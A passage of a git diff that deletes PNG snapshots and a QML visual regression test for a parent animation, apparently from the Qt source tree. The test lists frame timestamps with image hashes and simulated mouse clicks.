b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.2.png deleted file mode 100644 index 7d41abc..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.3.png b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.3.png deleted file mode 100644 index 800bf12..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.4.png b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.4.png deleted file mode 100644 index d0155bb..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.5.png b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.5.png deleted file mode 100644 index 7d41abc..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.qml b/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.qml deleted file mode 100644 index 5718560..0000000 --- a/tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.qml +++ /dev/null @@ -1,1663 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 32 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 48 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 64 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 80 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 96 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 112 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 128 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 144 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 160 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 176 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 192 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 208 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 224 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 240 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 256 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 272 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 288 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 304 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 320 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 336 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 352 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 368 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 384 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 400 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 416 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 432 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 448 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 464 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 480 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 496 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 512 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 528 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 544 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 560 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 576 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 592 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 608 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 624 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 640 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 656 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 672 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 688 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 704 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 720 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 736 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 752 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 768 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 784 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 800 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 816 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 832 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 848 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 864 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 880 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 896 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 912 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 928 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 944 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 960 - image: "parentAnimation.0.png" - } - Frame { - msec: 976 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 992 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1008 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1024 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1040 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1056 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1072 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1088 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1104 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1120 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1136 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1152 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1168 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1184 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1200 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1216 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1232 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1248 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1264 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1280 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1296 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1312 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1328 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1344 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1360 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1376 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1392 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1408 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1424 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1440 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1456 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1472 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1488 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1504 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1520 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1536 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1552 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 1568 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 1584 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 1600 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 1616 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 1632 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 1648 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 1664 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 1680 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 1696 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 1712 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Frame { - msec: 1728 - hash: "f1daed3391f10e27435a54222df8d0ab" - } - Frame { - msec: 1744 - hash: "99704e182267f2c12d0215b9c03f4d68" - } - Frame { - msec: 1760 - hash: "143cd9259a41b8af5d41a5b2aaf8de64" - } - Frame { - msec: 1776 - hash: "b5f0a0f838b5870c162a24cd767f068b" - } - Frame { - msec: 1792 - hash: "c5c8cdcbfab7466e447eaff582bf7312" - } - Frame { - msec: 1808 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1824 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1840 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1856 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1872 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1888 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1904 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1920 - image: "parentAnimation.1.png" - } - Frame { - msec: 1936 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1952 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1968 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1984 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2000 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2016 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2032 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2048 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2064 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2080 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2096 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2112 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2128 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2144 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2160 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2176 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2192 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2208 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2224 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2240 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2256 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2272 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2288 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2304 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2320 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2336 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2352 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2368 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2384 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2400 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2416 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2432 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2448 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2464 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2480 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2496 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2512 - hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" - } - Frame { - msec: 2528 - hash: "ec0e68c2e7a75fedd1091ce633dadd4f" - } - Frame { - msec: 2544 - hash: "a5d60efc176dee9083a2d746e7ad8315" - } - Frame { - msec: 2560 - hash: "48bcbbacf413080247f818e35e496e04" - } - Frame { - msec: 2576 - hash: "c521af8efa19fbac39119ad75cd469f5" - } - Frame { - msec: 2592 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 2608 - hash: "eeb3f4467ebd7ee678c3b7371db28519" - } - Frame { - msec: 2624 - hash: "9c5b9009a35b74d0ddec8fec85f204bf" - } - Frame { - msec: 2640 - hash: "aefc70824e23428aebf0a40830a57469" - } - Frame { - msec: 2656 - hash: "1fa9c23760193b74b0063b4e4c434070" - } - Frame { - msec: 2672 - hash: "8091700d4729163bd87521385853e608" - } - Frame { - msec: 2688 - hash: "a13558e609570f9390f20a85d244fa22" - } - Frame { - msec: 2704 - hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" - } - Frame { - msec: 2720 - hash: "51c8ae31f858121d86ef09cc9a5c5ef3" - } - Frame { - msec: 2736 - hash: "84ce8f39207f4b07c2c3323425a8c238" - } - Frame { - msec: 2752 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2768 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2784 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2800 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2816 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2832 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2848 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2864 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2880 - image: "parentAnimation.2.png" - } - Frame { - msec: 2896 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2912 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2928 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2944 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2960 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2976 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2992 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3008 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3024 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3040 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3056 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3072 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3088 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3104 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3120 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3136 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3152 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3168 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3184 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3200 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3216 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3232 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3248 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3264 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3280 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3296 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3312 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3328 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3344 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3360 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3376 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3392 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3408 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 3424 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 3440 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 3456 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 3472 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 3488 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 3504 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 3520 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 3536 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 3552 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3568 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Frame { - msec: 3584 - hash: "d7bf1b48f1a03974e7f095468e07f037" - } - Frame { - msec: 3600 - hash: "a59ab4fe1c22d27b5cdde949cf90e6f4" - } - Frame { - msec: 3616 - hash: "7c3082720e65b8a6217bf5a5fe4d48c0" - } - Frame { - msec: 3632 - hash: "350d1ff24fb8fba0ab8a6694d99544b3" - } - Frame { - msec: 3648 - hash: "81d17a62c33d79ed25968ec47771d292" - } - Frame { - msec: 3664 - hash: "43fd3ef88bd7a2e5bf4546f088783077" - } - Frame { - msec: 3680 - hash: "041938ad2e023202db18df28f2329c8f" - } - Frame { - msec: 3696 - hash: "ec8677eae06cbf77a9508953325b179e" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "ec8677eae06cbf77a9508953325b179e" - } - Frame { - msec: 3728 - hash: "453026339c3901ee286831b4b41088f6" - } - Frame { - msec: 3744 - hash: "d58a7a41ade691cc0acfb0303bfc3b68" - } - Frame { - msec: 3760 - hash: "a200b05ef3d7e39e11513fd2f8ff1497" - } - Frame { - msec: 3776 - hash: "faa1223975acdf2d4b48045d7f2ce445" - } - Frame { - msec: 3792 - hash: "964d9b80d82d0fe3d3fb328a1661a60e" - } - Frame { - msec: 3808 - hash: "705871bc384de93100354acb19b371b0" - } - Frame { - msec: 3824 - hash: "1a4480463adfc5a3d525916b03c2c3ce" - } - Frame { - msec: 3840 - image: "parentAnimation.3.png" - } - Frame { - msec: 3856 - hash: "9a55bdf428f45f02d9c8cf414dcd7754" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3872 - hash: "9a55bdf428f45f02d9c8cf414dcd7754" - } - Frame { - msec: 3888 - hash: "0f6d82d02ce7d79a1bdf6bf81791f321" - } - Frame { - msec: 3904 - hash: "b145b9d299714020686069baec11cb71" - } - Frame { - msec: 3920 - hash: "5dbf5e4151c01f10cf23b07ca1df56ab" - } - Frame { - msec: 3936 - hash: "822d4397ac514673ca1015ad05c9b4ac" - } - Frame { - msec: 3952 - hash: "461d35e865153d22e9a67bb0ffddefb7" - } - Frame { - msec: 3968 - hash: "676fff498e6879144090d5596056c6c8" - } - Frame { - msec: 3984 - hash: "854da7ed627237250e20b263f9eb9d90" - } - Frame { - msec: 4000 - hash: "157ec877797883d329ff329537205d02" - } - Frame { - msec: 4016 - hash: "613669ca60240fcc490d548fe802390d" - } - Frame { - msec: 4032 - hash: "803e84f027c773db96f9530511e5fedb" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4048 - hash: "803e84f027c773db96f9530511e5fedb" - } - Frame { - msec: 4064 - hash: "f47cfd1f1094b782c08490be2f49c6ed" - } - Frame { - msec: 4080 - hash: "db5953f3ee4e2db87e33b85464167f74" - } - Frame { - msec: 4096 - hash: "8313cb750b9abc586a43b9422de08f53" - } - Frame { - msec: 4112 - hash: "deb390ce992fee85c56733168b4bd1ec" - } - Frame { - msec: 4128 - hash: "29a1cda3647c49731e9adcd107a2d13c" - } - Frame { - msec: 4144 - hash: "bfa17a3afa06699107b217df6e4aed43" - } - Frame { - msec: 4160 - hash: "8e639ef01ab6d8876c3f40adc44928c6" - } - Frame { - msec: 4176 - hash: "14038aedf42de0ca62d872d317018ee0" - } - Frame { - msec: 4192 - hash: "c1288465163d44ed40e28f21e0298ea6" - } - Frame { - msec: 4208 - hash: "d6915f22a905737488d27e8138002f31" - } - Frame { - msec: 4224 - hash: "5b1621451a5a3af40302603ec31bb8bb" - } - Frame { - msec: 4240 - hash: "16fd73c0cb615cc717cdc4a6787471c2" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4256 - hash: "16fd73c0cb615cc717cdc4a6787471c2" - } - Frame { - msec: 4272 - hash: "db5caf42e11705ecdb2006e1ed6b0c4f" - } - Frame { - msec: 4288 - hash: "4b7e51e4e9fb1dacb32aac11a4a46ceb" - } - Frame { - msec: 4304 - hash: "63c93cda9892f733809125991af997b6" - } - Frame { - msec: 4320 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 4336 - hash: "58e813a6619828b6c9ec9cf300ff0e2d" - } - Frame { - msec: 4352 - hash: "181a6e334d745381f091bf1b55fc1690" - } - Frame { - msec: 4368 - hash: "f25bbc9ddc8cc72036c49d50b45bece8" - } - Frame { - msec: 4384 - hash: "88e8f0496debfee6bc2426895fe1c3d9" - } - Frame { - msec: 4400 - hash: "db5953f3ee4e2db87e33b85464167f74" - } - Frame { - msec: 4416 - hash: "9818a899adb916b6ba5f7537697ef062" - } - Frame { - msec: 4432 - hash: "3842f40093d70089a4004fb803c05981" - } - Frame { - msec: 4448 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 4464 - hash: "cbae27751ff0ebce4fcc164564f4cf1b" - } - Frame { - msec: 4480 - hash: "3a1b468bd3fd747bbe6b069426b170a9" - } - Frame { - msec: 4496 - hash: "57fbcd580eb1607a2a7526a65842dfeb" - } - Frame { - msec: 4512 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4528 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4544 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4560 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4576 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4592 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4608 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4624 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4640 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4656 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 4672 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 4688 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 4704 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 4720 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 4736 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 4752 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 4768 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 4784 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 4800 - image: "parentAnimation.4.png" - } - Frame { - msec: 4816 - hash: "f1daed3391f10e27435a54222df8d0ab" - } - Frame { - msec: 4832 - hash: "99704e182267f2c12d0215b9c03f4d68" - } - Frame { - msec: 4848 - hash: "143cd9259a41b8af5d41a5b2aaf8de64" - } - Frame { - msec: 4864 - hash: "b5f0a0f838b5870c162a24cd767f068b" - } - Frame { - msec: 4880 - hash: "c5c8cdcbfab7466e447eaff582bf7312" - } - Frame { - msec: 4896 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4912 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4928 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4944 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4960 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4976 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4992 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5008 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5024 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5040 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5056 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5072 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5088 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5104 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5120 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5136 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5152 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5168 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5184 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5200 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5216 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 